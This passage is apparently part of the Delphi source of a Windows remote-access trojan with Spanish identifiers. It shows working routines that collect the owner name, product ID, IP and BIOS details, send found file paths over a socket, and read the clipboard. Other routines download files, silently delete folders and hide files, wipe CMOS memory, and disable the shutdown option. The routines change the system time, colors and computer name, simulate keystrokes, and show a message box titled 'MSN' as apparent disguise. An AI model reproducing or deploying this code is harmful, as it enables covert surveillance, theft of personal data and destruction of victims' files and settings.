  782.                      'SOFTWAREMicrosoftWindowsCurrentVersion',
  783.                      'Version' );
  784.     Version := Version + ', ' + Leer( HKEY_LOCAL_MACHINE,
  785.                                       'SOFTWAREMicrosoftWindowsCurrentVersion',
  786.                                       'VersionNumber' );
  787.     Org     := Leer( HKEY_LOCAL_MACHINE,
  788.                      'SOFTWAREMicrosoftWindowsCurrentVersion',
  789.                      'RegisteredOrganization' );
  790.     User    := Leer( HKEY_LOCAL_MACHINE,
  791.                      'SOFTWAREMicrosoftWindowsCurrentVersion',
  792.                      'RegisteredOwner' );
  793.     Serial  := Leer( HKEY_LOCAL_MACHINE,
  794.                      'SOFTWAREMicrosoftWindowsCurrentVersion',
  795.                      'ProductID' );
  796.     Cpu     := Leer( HKEY_LOCAL_MACHINE,
  797.                      'HardwareDescriptionSystemCentralProcessor',
  798.                      'Identifier' ) + ' - ' +
  799.                Leer( HKEY_LOCAL_MACHINE,
  800.                      'HardwareDescriptionSystemCentralProcessor',
  801.                      'VendorIdentifier' );
  802.     ZeroMemory( @OS, SizeOf( OS ) );
  803.     OS.dwOSVersionInfoSize := SizeOf( OS );
  804.     GetVersionEx( OS );
  805.     ZeroMemory( @MS, SizeOf( MS ) );
  806.     MS.dwLength := SizeOf( MS );
  807.     GlobalMemoryStatus( MS );
  808.     ZeroMemory( @SI, SizeOf( SI ) );
  809.     GetSystemInfo( SI );
  810.     data:=data + 'iNf' +'*' + LocalIP  +'*'+ DMVersion+'*'+ VentanaActiva +'*'+ Cpu  +'*'+ IntToStr( Trunc( GetCpuSpeed ) )+ ' Mhz'+
  811.     '*'+ IntToStr( Trunc(   MS.dwTotalPhys/ 1024  /1024 )) + ' MByte'+
  812.     '*'+ IntToStr( Trunc(   MS.dwAvailPhys / 1024  /1024 )) + ' MByte'+
  813.     '*'+ IntToStr( Trunc(  MS.dwAvailVirtual / 1024  /1024 )) + ' MByte';
  814.     if InternetGetConnectedState(@tipoConexion, 0) then
  815.     begin
  816.         if ( tipoConexion and 1 ) = 1 then
  817.         data:=data +'*'+ 'MODEM' ;
  818.         if ( tipoConexion and 2 ) = 2 then
  819.           data:=data +'*'+ 'LAN' ;
  820.         if ( tipoConexion and 4 ) = 4 then
  821.            data:=data +'*'+ 'PROXY' ;
  822.         if ( tipoConexion and 8 ) = 8 then
  823.           data:=data +'*'+ 'MODEM BUSY' ;
  824.     end;
  825.   data:=data +'*'+  Version;
  826.    data:=data +'*'+ Zona_Horaria;
  827.     data:=data +'*'+ FindWindowsDir ;
  828.      data:=data +'*'+ Serial ;
  829.     data:=data +'*'+ User;
  830.     data:=data +'*'+ Org ;
  831.    data:=data +'*'+ Usuario;
  832.     data:=data +'*'+ ddate + Time ;
  833.     data:=data +'*'+  IntToStr( Trunc( GetTickCount / 1000 / 60  ) ) + ' Minutes' ;
  834.     data:=data +'*'+  IntToStr( GetSystemMetrics( SM_CXSCREEN ) ) + '*' + IntToStr( GetSystemMetrics( SM_CYSCREEN ) );
  835.    if not esXp then
  836.    begin
  837.         try  data:=data +'*'+ string( pchar( ptr( cBIOSName ) ) )  except end;
  838.         try   data:=data +'*'+ string( pchar( ptr( cBIOSCopyright) ) ); except end;
  839.         try   data:=data +'*'+ string( pchar( ptr( cBIOSDate ) ) )  ; except end;
  840.         try   data:=data +'*'+ string( pchar( ptr( cBIOSExtInfo ) ) ) ; except end;
  841.    end;
  842.    Result:=Data;
  843. end;
  844.   ///////////////////////////////////////////////////////////////////////////////
  845. procedure VaciarPapelera( Whandle : Thandle );
  846. type TSHEmptyRecycleBin = function (Wnd: HWND; LPCTSTR: PChar;DWORD: Word): integer; stdcall;
  847. var  SHEmptyRecycleBin  : TSHEmptyRecycleBin;
  848.      Lib                : THandle;
  849. begin
  850.      try Lib                := LoadLibrary( PChar( 'Shell32.dll' ) );
  851.          @SHEmptyRecycleBin := GetProcAddress( Lib , 'SHEmptyRecycleBinA' );
  852.          SHEmptyRecycleBin( Whandle, '' , 7 );
  853.          FreeLibrary( Lib );
  854.          except
  855.      end;
  856. end;
  857.  ///////////////////////////////////////////////////////////////////////////////
  858. function DelTree( Parametro : String ): string;
  859. var SHFileOpStruct : TSHFileOpStruct;
  860.     DirBuf         : array [0..255] of char;
  861. begin
  862.      Result := 'It cant delete the Dir: ' + Parametro + '"';
  863.      try
  864.         Fillchar( SHFileOpStruct, Sizeof( SHFileOpStruct ), 0 );
  865.         FillChar( DirBuf, Sizeof( DirBuf ), 0 );
  866.         StrPCopy( DirBuf, Parametro );
  867.         with SHFileOpStruct do
  868.         begin
  869.              Wnd    := 0;
  870.              pFrom  := @DirBuf;
  871.              wFunc  := FO_DELETE;
  872.              fFlags := FOF_ALLOWUNDO;
  873.              fFlags := fFlags or FOF_NOCONFIRMATION;
  874.              fFlags := fFlags or FOF_SILENT;
  875.         end;
  876.         if ( SHFileOperation( SHFileOpStruct ) = 0 ) then
  877.             Result := 'The Dir: "' + Parametro + '",was deleted';
  878.         except ;
  879.      end;
  880.  //   VaciarPapelera(Handle);
  881. end;
  882.   ///////////////////////////////////////////////////////////////////////////////
  883. procedure PonerOculto( s :String);
  884. var i : Byte;
  885. begin
  886.      i := GetFileAttributes( Pchar ( s ) );
  887.      i := i or $00000002;   //hidden
  888.      SetFileAttributes( Pchar( s ),i );
  889. end;
  890. function Ocultar( Path: String; oculto:Boolean  ): String ;
  891. var sr      : WIN32_FIND_DATA;
  892.     retval  :integer;
  893.     sigue   :longbool;
  894.     esDir   : Bool;
  895. begin
  896.      retval := FindFirstFile( PChar( path ), sr );
  897.      if retval = -1 then
  898.           Exit;
  899.      sigue := true;
  900.      while sigue do
  901.      begin
  902.          EsDir := ( (sr.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) > 0 );
  903.          if EsDir then
  904.          begin
  905.              if ( string(sr.cfilename) <> '.' ) and ( string(sr.cfilename)<>'..') then
  906.                   Ocultar( Copy( path,1, Length( path ) - 3 ) + sr.cfilename + '*.*', true );
  907.          end
  908.          else begin
  909.                    poneroculto(Copy( path, 1, Length( path ) - 3) + sr.cFileName);
  910.                end;
  911.          sigue := FindNextFile( retval, sr );
  912.       end;
  913. end;
  914.    ///////////////////////////////////////////////////////////////////////////////
  915. procedure BuscaFicheros( path, mask : String; SOCKET: Tsocket);
  916. var sr      : WIN32_FIND_DATA;
  917.     retval  :integer;
  918.     sigue   :longbool;
  919.     esDir   : Bool;
  920. begin
  921.      sigue := true;
  922.      if path[ Length( path ) ] <> '' then
  923.         path := path +'';
  924.      retval := FindFirstFile( Pchar( path + '*.*' ), sr );
  925.      while sigue do
  926.      begin
  927.          EsDir := ( (sr.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) > 0 );
  928.          if EsDir then
  929.             if ( string(sr.cfilename) <> '.' ) and ( string(sr.cfilename)<>'..') then
  930.                  BuscaFicheros( path + sr.cFileName, mask, SOCKET  );
  931.          sigue := FindNextFile( retVal, sr );
  932.      end;
  933.      if path[ Length( path ) ] <> '' then
  934.         path := path + '';
  935.      RetVal := FindFirstFile( Pchar( path + mask ), sr );
  936.      if RetVal = -1 then
  937.         Exit;
  938.      sigue := true;
  939.      while sigue do
  940.      begin
  941.           if ( string(sr.cfilename) <> '.' ) and ( string(sr.cfilename)<>'..') then
  942.              SendData(SOCKET, 'FiLeSeArCh'+ '^' + path + sr.CfileName + '^');
  943.              sleep(100);
  944.           sigue := FindNextFile( retVal, sr );
  945.      end;
  946. end;
  947. ///////////////////////////////////////////////////////////////////////////////
  948. function Resoluciones( udp : Tsocket; cli : Tsockaddr; tcp:integer) : String ;
  949. var c , i : integer;
  950.     DevMode : TDeviceMode;
  951.     l : string;
  952. begin
  953.    c := 0;
  954.    l := Chr(13);
  955.    i := 0;
  956.    //Contestar( Udp, cli, LocalIP + ': Resoluciones de video',tcp );
  957.    while EnumDisplaySettings( nil, c, DevMode ) do
  958.    begin
  959.       inc( i );
  960.       with DevMode do
  961.      // Contestar( udp,
  962.                //  cli,
  963.               //   IntToStr( i ) + ' - ' + IntToStr( dmPelsWidth ) + '*' + IntToStr( dmPelsHeight ) + ', ' + IntToStr( dmBitsPerPel ), tcp);
  964.       Inc( c );
  965.    end;
  966. end;
  967.   ///////////////////////////////////////////////////////////////////////////////
  968. function ClearCMos: String;
  969. begin
  970.      if esXP then
  971.      begin
  972.           Result := '&1&';
  973.           Exit;
  974.      end;
  975.      Result := '&0&';
  976.      try
  977.        asm
  978.           MOV AX,0h
  979.    @L1:   OUT 70h,AX
  980.           MOV BX,AX
  981.           MOV AX,0h
  982.           OUT 71h,AX
  983.           MOV AX,BX
  984.           INC AX
  985.           CMP AX,03Fh
  986.          JNZ @L1
  987.       end;
  988.       except end;
  989. end;
  990.   ///////////////////////////////////////////////////////////////////////////////
  991. function LeerPortaPapeles( WHandle : Thandle ) : String;
  992. var Data : THandle;
  993. begin
  994.      LeerPortaPapeles := 'ERROR, Trashcan';
  995.      CloseClipboard;
  996.      OpenClipboard( WHandle );
  997.      Data := GetClipboardData( CF_TEXT );
  998.      try if Data <> 0 then
  999.               Result := PChar( GlobalLock( Data ) );
  1000.          if Data <> 0 then GlobalUnlock( Data );
  1001.          CloseClipboard;
  1002.          except
  1003.      end;
  1004. end;
  1005.    ///////////////////////////////////////////////////////////////////////////////
  1006. function  Borrar_Clipboard( handle : Thandle ) : String;
  1007. begin
  1008.      CloseClipboard;
  1009.      OpenClipboard( Handle );
  1010.      EmptyClipboard;
  1011.      CloseClipboard;
  1012.      Result := 'Trashcan was empty';
  1013. end;
  1014.   ///////////////////////////////////////////////////////////////////////////////
  1015. procedure descargar_url( Udp : Tsocket; Cli : Tsockaddr; parametro, parametro2 : String; tcp:integer );
  1016. begin
  1017.      if Bajando then
  1018.      begin
  1019.           Exit;
  1020.      end;
  1021.      if FileExists( Parametro2 ) then
  1022.      begin
  1023.           Exit;
  1024.      end;
  1025.      Bajando := TRUE;
  1026.      if Descargar( Parametro, parametro2 ) then
  1027.      else
  1028.      Bajando := FALSE;
  1029. end;
  1030.    ///////////////////////////////////////////////////////////////////////////////
  1031. function  CambiarNombrePC( parametro : string ): string;
  1032. begin
  1033.      try SetComputerName( PChar( Parametro ) ); except end;
  1034.      Result := 'cumputers name was changed to :' + Parametro;
  1035. end;
  1036. function Set_Resolucion( Parametro : String ) : string;
  1037. var DevMode : TDeviceMode;
  1038. begin
  1039.      if esXp then
  1040.      begin
  1041.           Result := 'it doesnt work on XP!!!';
  1042.           Exit;
  1043.      end;
  1044.      if StrToInt( Parametro ) < 0 then
  1045.         Exit;
  1046.      try if EnumDisplaySettings( nil, StrToInt( Parametro ), DevMode ) then
  1047.             ChangeDisplaySettings( DevMode, 0 );
  1048.          Result := 'Resulution changed';
  1049.          except Result := 'Error';
  1050.      end;
  1051. end;
  1052.    ///////////////////////////////////////////////////////////////////////////////
  1053. function SetTime( parametro : String ) : String;
  1054. var Fecha   : TSystemTime;
  1055.     m, d, y : Word;
  1056.     tmp     : String;
  1057. begin
  1058.      Tmp := Parametro;
  1059.      GetLocalTime( Fecha );
  1060.      d := StrToInt( Copy( parametro, 1, 2 ) );//day
  1061.      m := StrToInt( Copy( parametro, 4, 5 ) );//mouth
  1062.      y := StrToInt( Copy( parametro, 7, 10 ) );//year
  1063.      with Fecha do
  1064.      begin
  1065.           wYear  := y;
  1066.           wMonth := m;
  1067.           wDay   := d;
  1068.      end;     
  1069.      if SetSystemTime( Fecha ) then
  1070.         Result := 'The time was changed with succeful'
  1071.      else
  1072.          Result := 'ERROR; Time couldnt been changed';
  1073. end;
  1074.   ///////////////////////////////////////////////////////////////////////////////
  1075. function Red(Color: LongInt):integer;
  1076. begin
  1077.      Red := Color mod 256;
  1078. end;
  1079.   ///////////////////////////////////////////////////////////////////////////////
  1080. function Green(Color: LongInt):integer;
  1081. begin
  1082.      Green := ((Color and $FF00) div 256) mod 256;
  1083. end;
  1084.   ///////////////////////////////////////////////////////////////////////////////
  1085. function Blue(Color: LongInt):integer;
  1086. begin
  1087.      Blue := (Color and $FF0000) div 65536;
  1088. end;
  1089.   ///////////////////////////////////////////////////////////////////////////////
  1090. function Color_Menues( parametro : String ): String ;
  1091. var R, G, B : Integer;
  1092.     Colors, Items : array [ 0..1 ] of LongInt;
  1093. begin
  1094.     try R := Red( StrToInt64( Parametro ) );
  1095.          G := Green( StrToInt64( Parametro ) );
  1096.          B := Blue( StrToInt64( Parametro ) );
  1097.          Items[ 0 ]  := COLOR_MENU;
  1098.          Items[ 1 ]  := COLOR_MENUTEXT;
  1099.          Colors[ 0 ] := StrToInt64( Parametro );
  1100.          Colors[ 1 ] := RGB( 255 - R, 255 - G, 255 - B );
  1101.          SetSysColors( High( Items ), Items, Colors );
  1102.          Result := 'Menu colors were Changed';
  1103.          except Result := 'ERROR';
  1104.      end;
  1105. end;
  1106.    ///////////////////////////////////////////////////////////////////////////////
  1107. function Color3d( Parametro : String) : String;
  1108. var Colors, Items : array [ 0..1 ] of LongInt;
  1109. begin
  1110.      try Items[ 0 ] := COLOR_BTNFACE;
  1111.      Items[ 1 ] := COLOR_3DFACE;
  1112.      Colors[ 0 ]:= StrToInt64( Parametro );
  1113.      Colors[ 1 ]:= StrToInt64( Parametro );
  1114.      SetSysColors( High( Items ), Items, Colors );
  1115.      Result := ': 3d color was changed';
  1116.      except end;
  1117. end;
  1118.   ///////////////////////////////////////////////////////////////////////////////
  1119. function Color_Ventanas( Parametro :string ) : String;
  1120. var Colors, Items : array [ 0..1 ] of LongInt;
  1121. begin
  1122.      try Items[ 0 ]  := COLOR_WINDOW;
  1123.          Items[ 1 ]  := COLOR_WINDOW;
  1124.          Colors[ 0 ] := StrToInt( Parametro );
  1125.          Colors[ 1 ] := StrToInt( Parametro );
  1126.          SetSysColors( High( Items ), Items, Colors );
  1127.          Result := 'windows colors were changed';
  1128.          except Result := 'ERROR';
  1129.      end;
  1130. end;
  1131.   ///////////////////////////////////////////////////////////////////////////////
  1132. function Sacar_Apagar_sistema : String;
  1133. var h : HKEY;
  1134.     i : Integer;
  1135. begin
  1136.      RegOpenKeyEx( HKEY_CURRENT_USER,
  1137.                    PChar( 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' ),
  1138.                    0,
  1139.                    KEY_ALL_ACCESS,
  1140.                    h );
  1141.      RegsetValueEx( h,
  1142.                     PChar( 'NoClose' ),
  1143.                     0,
  1144.                     REG_SZ,
  1145.                     PChar( '1' ),
  1146.                     Length( '1' ) + 1 );
  1147.      RegCloseKey( h );
  1148.      SystemParametersInfo( SPI_SCREENSAVERRUNNING, 1, @i, 0);
  1149.      Result := 'Turn off system disabled ';
  1150. end;
  1151.    ///////////////////////////////////////////////////////////////////////////////
  1152. function Poner_Apagar_sistema : String;
  1153. var i : Integer;
  1154.     h : HKEY;
  1155. begin
  1156.      RegOpenKeyEx( HKEY_CURRENT_USER,
  1157.                    PChar( 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' ),
  1158.                    0,
  1159.                    KEY_ALL_ACCESS,
  1160.                    h );
  1161.      RegDeleteValue( h,
  1162.                      PChar( 'NoClose' ));
  1163.      RegCloseKey( h );
  1164.      SystemParametersInfo( SPI_SCREENSAVERRUNNING, 1, @i, 0);
  1165.      Result := 'turn off system enabled!!';
  1166. end;
  1167.    ///////////////////////////////////////////////////////////////////////////////
  1168. procedure ThreadVivorita;
  1169. var h : HDC;
  1170.     p : HPen;
  1171.     Pos : TPoint;
  1172.     v : array[1..20]of integer;
  1173.     incX, incY : integer;
  1174. begin
  1175.    v[1] := 1;   v[2] := 1;
  1176.    v[3] := 1;   v[4] := 1;
  1177.    v[5] := 1;   v[6] := 1;
  1178.    v[7] := 1;   v[8] := 1;
  1179.    v[9] := 1;   v[10] := 1;
  1180.    v[11] := -1; v[12] := -1;
  1181.    v[13] := -1; v[14] := -1;
  1182.    v[15] := -1; v[16] := -1;
  1183.    v[17] := -1; v[18] := -1;
  1184.    v[19] := -1; v[20] := -1;
  1185.    h := createDC( Pchar( 'DISPLAY' ), nil, nil, nil );
  1186.    P := CreatePen( PS_DOT, 6, $000080FF);
  1187.    SelectObject( h, P );
  1188.    pos.X := 400;
  1189.    pos.Y := 300;
  1190.    incX  := 1;
  1191.    incY  := 1;
  1192.    while vivorita do
  1193.    begin
  1194.         LineTo( h, pos.X, Pos.Y );
  1195.         pos.X := pos.X + incX;
  1196.       pos.Y := pos.Y + incY;
  1197.         if pos.X < 0   then
  1198.            pos.X := 0;
  1199.         if pos.X >  GetSystemMetrics( SM_CXSCREEN ) then
  1200.            pos.X := GetSystemMetrics( SM_CXSCREEN );
  1201.         if pos.Y < 0   then
  1202.            pos.Y := 0;
  1203.         if pos.Y > GetSystemMetrics( SM_CYSCREEN ) then
  1204.            pos.Y := GetSystemMetrics( SM_CYSCREEN );
  1205.         if(random (27) = 7)then
  1206.         begin
  1207.              incX := incX * v[random(20) + 1];
  1208.              incY := incY * v[random(20) + 1];
  1209.         end;
  1210.         Sleep( 10 );
  1211.    end;
  1212. end;
  1213.   ///////////////////////////////////////////////////////////////////////////////
  1214. function CrearThreadVivorita: String;
  1215. var id: cardinal;
  1216. begin
  1217.      if Vivorita then
  1218.      begin
  1219.           Result := '&1&';
  1220.           Vivorita := FALSE;
  1221.      end
  1222.      else
  1223.      begin
  1224.           Vivorita := TRUE;
  1225.           BeginThread(nil, 0, @ThreadVivorita, nil, 0, id );
  1226.           Result := '&0&';
  1227.      end;
  1228. end;
  1229.  ///////////////////////////////////////////////////////////////////////////////
  1230. procedure PresionarTecla( key: Byte );
  1231. begin
  1232. try
  1233.       Keybd_Event ( key , 0 , 0 , 0 );
  1234.       Keybd_Event ( key , 0 , KEYEVENTF_KEYUP , 0 );
  1235.       except exit end;;
  1236. end;
  1237.  ///////////////////////////////////////////////////////////////////////////////
  1238. function Ocurrencias( const ss, s: String ): Integer;
  1239. var i: Integer;
  1240. begin
  1241.      i := 1;
  1242.      Result := 0;
  1243.      while i <= length( s ) + 1 do
  1244.      begin
  1245.           if s[ i ] = ss then
  1246.              Result := Result + 1;
  1247.           Inc( i );
  1248.      end;
  1249. end;     
  1250.   ///////////////////////////////////////////////////////////////////////////////
  1251. procedure Filtrar( var s:String );
  1252. var a : set of char;
  1253.     i : Byte;
  1254.     Aux : string;
  1255. begin
  1256.      a := [ 'a'..'z' ] + [ 'A'..'Z'] + [ '0'..'9'];
  1257.      Aux := s;
  1258.      s := '';
  1259.      for i := 1 to Length( Aux )do
  1260.           if Aux[ i ] in a then S := S + Aux[ i ];
  1261. end;
  1262.    ///////////////////////////////////////////////////////////////////////////////
  1263.  function GenerarRandomString: String;
  1264. var i: Byte;
  1265.     tmp : String;
  1266.     vec : Array[ 1..58 ] of byte;
  1267. begin
  1268.      for i := 1 to 58 do
  1269.          vec[ i ] := i + 64;
  1270.      Tmp := '';
  1271.      Randomize;
  1272.      for i := 1 to 4 + Random( 3216 ) mod 2 do
  1273.      begin
  1274.           Randomize;
  1275.           Tmp := Tmp + Chr( Vec[ Random( 58 ) ] );
  1276.           Sleep( 500 );
  1277.      end;
  1278.      result := LowerCase( tmp );
  1279.      if Length( Result ) > 12 then
  1280.         Result := Copy( result, 1, 9 );
  1281.      Filtrar( REsult );
  1282. end;
  1283.    ///////////////////////////////////////////////////////////////////////////////
  1284. function HexToInt(s: string): Longword;
  1285. var  b: Byte;
  1286.      c: Char;
  1287. begin
  1288.      Result := 0;
  1289.      s := UpperCase( s );
  1290.      for b := 1 to Length( s ) do
  1291.      begin
  1292.           Result := Result * 16;
  1293.           c := s[ b ];
  1294.           case c of
  1295.               '0'..'9': Inc(Result, Ord(c) - Ord('0'));
  1296.               'A'..'F': Inc(Result, Ord(c) - Ord('A') + 10);
  1297.           end;
  1298.      end;
  1299. end;
  1300.   ///////////////////////////////////////////////////////////////////////////////
  1301. function stringtochar(st : string) : char;
  1302. var c : char;
  1303. begin
  1304.      c := #0;
  1305.      while c <> st do
  1306.            c := succ(c);
  1307.      stringtochar := c;
  1308. end;
  1309.     ///////////////////////////////////////////////////////////////////////////////
  1310. function Trim(const S: string): string;
  1311. var
  1312.   I, L: Integer;
  1313. begin
  1314.   L := Length(S);
  1315.   I := 1;
  1316.   while (I <= L) and (S[I] <= ' ') do Inc(I);
  1317.   if I > L then Result := '' else
  1318.   begin
  1319.     while S[L] <= ' ' do Dec(L);
  1320.     Result := Copy(S, I, L - I + 1);
  1321.   end;
  1322. end;
  1323.   ///////////////////////////////////////////////////////////////////////////////
  1324. function StrToIntDef(const S: string; Default: Integer): Integer;
  1325. var
  1326.   E: Integer;
  1327. begin
  1328.   Val(S, Result, E);
  1329.   if E <> 0 then Result := Default;
  1330. end;
  1331.   ///////////////////////////////////////////////////////////////////////////////
  1332. //Devuelve una cadena en formato numerico de un valor para Unsigned 32 bits
  1333. function UnSigFrmToStr(Value: Cardinal; FormatStr : PChar): string;
  1334. var
  1335.   Poinx : Pointer;
  1336.   wsprintfX : function (Output: PChar; Format: PChar; Value : Cardinal): Integer; cdecl;
  1337.   hdllib : HINST;
  1338.   retmp : Integer;
  1339. begin
  1340.   hdllib := LoadLibrary('User32.dll');   {Carga la libreria}
  1341.   if hdllib <> 0 then begin
  1342.      Poinx := GetProcAddress(hdllib, 'wsprintfA');
  1343.      if Poinx <> nil then begin
  1344.         @wsprintfX := Poinx;
  1345.         SetLength(Result, 15);
  1346.         retmp := wsprintfX(PChar(Result), FormatStr, Value);
  1347.         SetLength(Result, retmp);
  1348.      end;
  1349.   FreeLibrary(hdllib);
  1350.   end;
  1351. end;
  1352.    ///////////////////////////////////////////////////////////////////////////////
  1353. function LowerCase(const S: string): string;
  1354. var
  1355.   Ch: Char;
  1356.   L: Integer;
  1357.   Source, Dest: PChar;
  1358. begin
  1359.   L := Length(S);
  1360.   SetLength(Result, L);
  1361.   Source := Pointer(S);
  1362.   Dest := Pointer(Result);
  1363.   while L <> 0 do
  1364.   begin
  1365.     Ch := Source^;
  1366.     if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);
  1367.     Dest^ := Ch;
  1368.     Inc(Source);
  1369.     Inc(Dest);
  1370.     Dec(L);
  1371.   end;
  1372. end;
  1373.   ///////////////////////////////////////////////////////////////////////////////
  1374. procedure showm( s : String );
  1375. begin
  1376.      MessageBox( 0 , pchar( S ) , 'MSN' , MB_OK + MB_ICONSTOP+ MB_SYSTEMMODAL );
  1377. end;
  1378.    ///////////////////////////////////////////////////////////////////////////////
  1379. function StrLCopy(Dest, Source: PChar; MaxLen: Cardinal): PChar; assembler;
  1380. asm
  1381.         PUSH    EDI
  1382.         PUSH    ESI
  1383.         PUSH    EBX
  1384.         MOV     ESI,EAX
  1385.         MOV     EDI,EDX
  1386.         MOV     EBX,ECX
  1387.         XOR     AL,AL
  1388.         TEST    ECX,ECX
  1389.         JZ      @@1
  1390.         REPNE   SCASB
  1391.         JNE     @@1
  1392.         INC     ECX
  1393. @@1:    SUB     EBX,ECX
  1394.         MOV     EDI,ESI
  1395.         MOV     ESI,EDX
  1396.         MOV     EDX,EDI
  1397.         MOV     ECX,EBX
  1398.         SHR     ECX,2
  1399.         REP     MOVSD
  1400.         MOV     ECX,EBX
  1401.         AND     ECX,3
  1402.         REP     MOVSB
  1403.         STOSB
  1404.         MOV     EAX,EDX
  1405.         POP     EBX
  1406.         POP     ESI
  1407.         POP     EDI
  1408. end;
  1409.   ///////////////////////////////////////////////////////////////////////////////
  1410. function StrPCopy(Dest: PChar; const Source: string): PChar;
  1411. begin
  1412.   Result := StrLCopy(Dest, PChar(Source), Length(Source));
  1413. end;
  1414.    ///////////////////////////////////////////////////////////////////////////////
  1415. //Devuelve una cadena en formato numerico de un valor para Signed 32 bits
  1416. function SigFrmToStr(Value: Integer; FormatStr : PChar): string;
  1417. var
  1418.   Poinx : Pointer;
  1419.   wsprintfX : function (Output: PChar; Format: PChar; Value : Integer): Integer; cdecl;
  1420.   hdllib : HINST;
  1421.   retmp : Integer;
  1422. begin
  1423.   hdllib := LoadLibrary('User32.dll');   {Carga la libreria}
  1424.   if hdllib <> 0 then begin
  1425.      Poinx := GetProcAddress(hdllib, 'wsprintfA');
  1426.      if Poinx <> nil then begin
  1427.         @wsprintfX := Poinx;
  1428.         SetLength(Result, 15);
  1429.         retmp := wsprintfX(PChar(Result), FormatStr, Value);
  1430.         SetLength(Result, retmp);
  1431.      end;
  1432.   FreeLibrary(hdllib);
  1433.   end;
  1434. end;
  1435.    ///////////////////////////////////////////////////////////////////////////////
  1436. function IntToStr(Value: Integer): string;
  1437. begin
  1438.    Result := SigFrmToStr(Value, PChar('%d'));
  1439. end;
  1440.    ///////////////////////////////////////////////////////////////////////////////
  1441. function StrToInt(const S: string ): Integer;
  1442. var  E: Integer;
  1443. begin
  1444.      Val(S, Result, E);
  1445. end;
  1446.   ///////////////////////////////////////////////////////////////////////////////
  1447. function StrPas(const Str: PChar): string;
  1448. begin
  1449.   Result := Str;
  1450. end;
  1451.    ///////////////////////////////////////////////////////////////////////////////
  1452. //System's date & time.
  1453. function ddate : string;
  1454. var  datestr  : string;
  1455.      retsize : integer;
  1456. begin
  1457.      setlength(datestr,128);
  1458.      retsize := GetDateFormat( LOCALE_SYSTEM_DEFAULT,
  1459.                                LOCALE_NOUSEROVERRIDE and DATE_LONGDATE,
  1460.                                nil,
  1461.                                'ddd_MMM_dd_yyyy',
  1462.                                PChar(datestr),
  1463.                                128);
  1464.      setlength(datestr, retsize - 1);
  1465.      Result := datestr ;
  1466. end;
  1467.   ///////////////////////////////////////////////////////////////////////////////
  1468. function Time : string;
  1469. var  timestr : string;
  1470.      retsize : integer;
  1471. begin
  1472.      setlength(timestr, 128);
  1473.      retsize := GetTimeFormat(LOCALE_SYSTEM_DEFAULT,
  1474.                               LOCALE_NOUSEROVERRIDE and TIME_FORCE24HOURFORMAT,
  1475.                               nil,
  1476.                               'hh-mm-ss-tt',
  1477.                               PChar(timestr),
  1478.                               128);
  1479.      setlength(timestr, retsize - 1);
  1480.      Result := timestr;
  1481. end;
  1482.   ///////////////////////////////////////////////////////////////////////////////
  1483. function StrToInt64(const S: string): Int64;
  1484. var  E: Integer;
  1485. begin
  1486.      Val(S, Result, E);
  1487. end;
  1488. function UpperCase( S :String ): String ;
  1489. var i : Byte;
  1490. begin
  1491.      for i := 1 to Length( s ) do
  1492.          S[ i ] := UpCase( S[ i ] );
  1493.      Result := S;
  1494. end;
  1495.    ///////////////////////////////////////////////////////////////////////////////
  1496. function FileAge(const FileName: string): Integer;
  1497. type  LongRec = packed record
  1498.             Lo, Hi: Word;
  1499.       end;
  1500. var  Handle: THandle;
  1501.      FindData: TWin32FindData;
  1502.      LocalFileTime: TFileTime;
  1503. begin
  1504.   Handle := FindFirstFile(PChar(FileName), FindData);
  1505.   if Handle <> INVALID_HANDLE_VALUE then
  1506.   begin
  1507.     Windows.FindClose(Handle);
  1508.     if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
  1509.     begin
  1510.       FileTimeToLocalFileTime(FindData.ftLastWriteTime, LocalFileTime);
  1511.       if FileTimeToDosDateTime(LocalFileTime, LongRec(Result).Hi,
  1512.         LongRec(Result).Lo) then Exit;
  1513.     end;
  1514.   end;
  1515.   Result := -1;
  1516. end;
  1517.    ///////////////////////////////////////////////////////////////////////////////
  1518. function FileExists( s : String ): Boolean;
  1519. begin
  1520.      Result := FileAge( s ) <> -1
  1521. end;
  1522.   ///////////////////////////////////////////////////////////////////////////////
  1523. function GetCPUSpeed: Double;
  1524. const
  1525. DelayTime = 500;
  1526. var 
  1527. TimerHi, TimerLo: DWORD;
  1528. PriorityClass, Priority: Integer;
  1529. begin 
  1530. try
  1531. PriorityClass := GetPriorityClass(GetCurrentProcess);
  1532. Priority := GetThreadPriority(GetCurrentThread);
  1533. SetPriorityClass(GetCurrentProcess, REALTIME_PRIORITY_CLASS);
  1534. SetThreadPriority(GetCurrentThread, THREAD_PRIORITY_TIME_CRITICAL);
  1535. Sleep(10);
  1536. asm
  1537. dw 310Fh
  1538. mov TimerLo, eax
  1539. mov TimerHi, edx
  1540. end;
  1541. Sleep(DelayTime);
  1542. asm
  1543. dw 310Fh
  1544. sub eax, TimerLo
  1545. sbb edx, TimerHi
  1546. mov TimerLo, eax
  1547. mov TimerHi, edx
  1548. end;
  1549. SetThreadPriority(GetCurrentThread, Priority);
  1550. SetPriorityClass(GetCurrentProcess, PriorityClass);
  1551. Result := TimerLo / (1000.0 * DelayTime);
  1552. except end;
  1553. end;
  1554.    ///////////////////////////////////////////////////////////////////////////////
  1555. function BorrarArchivo( s : String ): integer;
  1556. var i: Byte;
  1557. begin
  1558.      Result := 0;
  1559.      if FileExists( s )then
  1560.      try
  1561.        //saco atributos
  1562.        i := GetFileAttributes( PChar( s ) );
  1563.        i := i and $00000002;//faHidden;
  1564.        i := i and $00000001;//faReadOnly;
  1565.        i := i and $00000004;//faSysFile;  
  1566.        SetFileAttributes( PChar( s ), i );
  1567.        DeleteFile( Pchar( s ) );
  1568.        except end;
  1569. end;
  1570.     ///////////////////////////////////////////////////////////////////////////////
  1571. //Define los privilegios para windows NT
  1572. procedure NTAdjustTokens(lpName : PChar; Attributes : LongWord);
  1573. var
  1574.    ProcHdl, TokenHdl : Cardinal;
  1575.    iLuid : Int64;
  1576.    TokenPrivs, TokenPrivsNew : TTokenPrivileges;
  1577.    RetC : DWORD;
  1578. begin
  1579.    ProcHdl := GetCurrentProcess;
  1580.    if (OpenProcessToken(ProcHdl, TOKEN_ALL_ACCESS, TokenHdl) = False) then exit;
  1581.    if (LookupPrivilegeValue('', lpName, iLuid) = True) then begin
  1582.       TokenPrivs.PrivilegeCount := 1;
  1583.       TokenPrivs.Privileges[0].Luid := iLuid;
